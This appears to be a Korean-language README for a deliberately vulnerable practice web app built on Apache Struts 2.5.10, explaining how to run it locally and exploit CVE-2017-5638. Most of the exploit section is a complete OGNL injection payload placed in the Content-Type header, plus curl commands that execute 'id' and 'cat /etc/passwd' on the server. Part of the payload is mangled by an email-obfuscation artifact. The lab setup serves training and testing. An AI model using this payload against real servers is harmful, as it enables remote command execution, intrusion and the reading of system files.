:source-highlighter: pygments
= Apache Struts CVE-2017-5638 익스플로잇
이 간단한 웹 애플리케이션은 취약한 Apache Struts 2.5.10 (CVE-2017-5638)으로 구축되었습니다. RCE에 취약합니다.
== 웹 애플리케이션 시작
취약한 웹 애플리케이션을 시작하려면 다음을 실행하세요:
mvn jetty:run
애플리케이션은 기본적으로 포트 8012에서 접근 가능합니다. 변경할 수 있습니다:
mvn -Djetty.http.port= jetty:run
== 웹 애플리케이션 접속
취약한 웹 애플리케이션에 접근하려면 브라우저에서 다음 링크를 여세요: http://127.0.0.1:8012/struts-rce. 기본 포트를 변경한 경우 링크를 그에 맞게 수정하세요.
== 웹 애플리케이션 익스플로잇
취약점은 서버 측에서 임의의 명령을 실행(RCE)하도록 악용될 수 있습니다. 페이로드는 Content-Type HTTP 헤더에 포함됩니다. 다음 페이로드는 id 명령을 실행합니다:
[source,http]
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#p=new java.lang.ProcessBuilder({'/bin/bash','-c','id'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
다음 명령은 서버 측에서 id 명령을 실행합니다:
[source,bash]
curl -H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#p=new java.lang.ProcessBuilder({'/bin/bash','-c','id'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" http://127.0.0.1:8012/struts-rce/index.action
아래 명령은 cat /etc/passwd를 실행합니다:
[source,bash]
curl -H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#p=new java.lang.ProcessBuilder({'/bin/bash','-c','cat /etc/passwd'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" http://127.0.0.1:8012/struts-rce/index.action